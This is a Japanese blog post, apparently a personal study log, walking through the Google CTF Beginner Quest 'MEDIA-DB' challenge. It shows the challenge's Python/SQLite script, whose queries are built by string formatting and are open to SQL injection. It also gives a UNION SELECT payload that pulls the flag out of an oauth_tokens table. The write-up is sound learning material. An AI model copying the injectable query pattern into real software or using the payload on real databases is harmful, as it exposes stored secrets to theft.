Zuck3r’s Study

エンジニアではありません

Google CTF : Beginner Quest : MEDIA-DB

前回と同じ前置きになるが、間違っているところや改善点があったらコメントして欲しい。

環境:VMware,DebianベースのLinuxを使っている

解説

今回は、"Google CTF : Beginner Quest : MEDIA-DB"を解いていく"Attachment"から問題ファイルをダウンロードする。zipファイルなので解凍する。

f:id:Zuck3r:20190301230914p:plain

解凍すると、pythonのファイルが出てくる。nc media-db.ctfcompetition.com 1337 を実行することで出てくるプログラムのスクリプトのようだ。以下の様になっていた。

    #!/usr/bin/env python2.7

import sqlite3
import random
import sys

BANNER = "=== Media DB ==="
MENU = """\
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit"""

with open('oauth_token') as fd:
  flag = fd.read()
conn = sqlite3.connect(':memory:')
c = conn.cursor()

c.execute("CREATE TABLE oauth_tokens (oauth_token text)")
c.execute("CREATE TABLE media (artist text, song text)")
c.execute("INSERT INTO oauth_tokens VALUES ('{}')".format(flag))

def my_print(s):
  sys.stdout.write(s + '\n')
  sys.stdout.flush()

def print_playlist(query):
  my_print("")
  my_print("== new playlist ==")
  for i, res in enumerate(c.execute(query).fetchall()):
    my_print('{}: "{}" by "{}"'.format(i+1, res[1], res[0]))
  my_print("")

my_print(BANNER)

while True:
  my_print(MENU)
  sys.stdout.write("> ")
  sys.stdout.flush()
  choice = raw_input()
  if choice not in ['1', '2', '3', '4', '5']:
    my_print('invalid input')
    continue
  if choice == '1':
    my_print("artist name?")
    artist = raw_input().replace('"', "")
    my_print("song name?")
    song = raw_input().replace('"', "")
    c.execute("""INSERT INTO media VALUES ("{}", "{}")""".format(artist, song))
  elif choice == '2':
    my_print("artist name?")
    artist = raw_input().replace("'", "")
    print_playlist("SELECT artist, song FROM media WHERE artist = '{}'".format(artist))
  elif choice == '3':
    my_print("song name?")
    song = raw_input().replace("'", "")
    print_playlist("SELECT artist, song FROM media WHERE song = '{}'".format(song))
  elif choice == '4':
    artist = random.choice(list(c.execute("SELECT DISTINCT artist FROM media")))[0]
    my_print("choosing songs from random artist: {}".format(artist))
    print_playlist("SELECT artist, song FROM media WHERE artist = '{}'".format(artist))
  else:
    my_print("bye")
    exit(0) 

これを見ていくと、まずはSQLite3であることが分かる。SQLインジェクションを使う問題だろうと予想できる。また、色付けした部分を見ればoauth_tokenファイルに書かれているflagをoauth_tokensテーブルに置いてることが分かります。

次にSQLインジェクションをどうするか考えます。定石の、シングルクオーテーションを入れてみたら、エラーメッセージが表示されました。

=== Media DB ===
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 1
artist name?
'
song name?
'
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 4
choosing songs from random artist: '

== new playlist ==
Traceback (most recent call last):
  File "./media-db.py", line 76, in 
    print_playlist("SELECT artist, song FROM media WHERE artist = '{}'".format(artist))
  File "./media-db.py", line 45, in print_playlist
    for i, res in enumerate(c.execute(query).fetchall()):
sqlite3.OperationalError: unrecognized token: "'''" 

なので今回のsqlインジェクションではシングルクオーテーションを利用しようと思います。tokensの方から、tokenを取ってくるような分にします。” ' UNION SELECT ( SELECT oauth_token FROM oauth_tokens), 1 -- ”、としてやってみます。

f:id:Zuck3r:20190302004609p:plain

成功した。CTF{~~}形式の文字が出てきたこれが今回の答えだ。

終わりに

今回の問題はSQLインジェクションを利用した問題だった。SQL文について調べたものの理解できたには程遠いと思うのでもっと勉強しておきたい。なかなか、入れるSQL文が思い浮かばないのが難点…まだまだ、SQLに対する理解は浅いのでより深いものにしたい。

参考にしたサイト(Google CTF: Beginner Quest: MEDIA-DB (SQL Injection) - YouTube)